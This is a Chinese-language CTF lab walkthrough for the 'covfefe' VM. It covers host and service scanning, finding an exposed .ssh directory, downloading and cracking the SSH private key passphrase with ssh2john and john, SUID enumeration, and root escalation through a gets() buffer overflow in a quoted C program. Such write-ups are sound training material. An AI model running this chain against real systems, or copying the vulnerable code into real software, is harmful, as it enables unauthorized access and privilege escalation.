CTF靶场训练-SSH私钥泄露

Background

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

靶场环境

靶机convfefe :192.168.0.109
攻击机Kali : 192.168.0.104

信息探测

先进行ip的探测

1
root@kali:~# netdiscover -r 192.168.0.0/24

image

服务探测

知道了IP,探测一下靶机目标开放了那些服务

1
root@kali:~# nmap -sV 192.168.0.109

image
发现开放了2个http服务和一个ssh服务;
http服务可以通过网页的形式访问
image

访问页面,没有发现可用信息;
有时候可以通过网页源代码发现一点可用的信息,但是这里没有发现可用信息

http隐藏文件探测

网页源代码没有发现可用的信息,这里我们可用使用工具探测一下该服务隐藏文件

1
root@kali:~# dirb http://192.168.0.109:31337/

image

发现了一些敏感文件(robots.txt,.ssh)

右键打开链接
image
robots协议不允许访问这些文件目录
那我们就尝试访问一下
image

发现了第一个flag:
flag1{make_america_great_again}

同样我们可以打开.ssh文件
image
发现了ssh的公钥、私钥 (SSH下autho…) 将其文件下载至本地(如访问.ssh/id_rsa的形式进行下载)
id_rsa是私钥,authorized_keys是认证关键字(包含公钥),公钥可不用下载

下载下来后,我们需要修改私钥的权限,不然无法连接靶机
ssh-key 登录 要求私钥文件 属性必须是400 600 不能他人访问权限

1
root@kali:~/test# chmod 600 id_rsa

image

ssh连接还需要用户名,这里可以查看authorized_keys文件
image

ssh连接

1
root@kali:~/test# ssh -i id_rsa simon@192.168.0.109     // -i 私钥文件

image

发现还需要一个密码

解密ssh密钥信息

用ssh2john 将id_isa密钥信息转换为john可以识别的信息
因为我的kali上没有找到该工具,所以在john官方工具里找到它的脚本

1
root@kali:~/test# ../tools/ssh2john.py id_rsa > rsacrack

image

利用字典破解

1
root@kali:~/test# zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

image

破解出来密码是starwars

再次连接
image

打开root根目录,发现一个flag文件,和一个c语言程序

1
2
simon@covfefe:/root$ ls
flag.txt read_message.c

查看flag文件,不过没有权限

1
2
simon@covfefe:/root$ cat flag.txt 
cat: flag.txt: Permission denied

这里可以用find命令查找具有权限的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
simon@covfefe:/root$ find / -perm -4000 2>/dev/null    // -perm -4000 具有权限  2>/dev/null 避免错误
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message
/bin/umount
/bin/su
/bin/mount
/bin/ping

查看c语言的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}

}

很幸运,在代码的注释中发现了flag2:
flag2{use_the_source_luke}

缓冲区溢出

对代码进行审计;
程序通过用户输入的值的前5位进行判断
如果匹配结果为Simon,则通过函数execve执行program数组中的内容
image

因为我们输入的值是保存在一个20字节的数组中,可以考虑溢出提权
image

这里我们获得了root权限,可以查看flag文件
image

第三个flag:
flag3{das_bof_meister}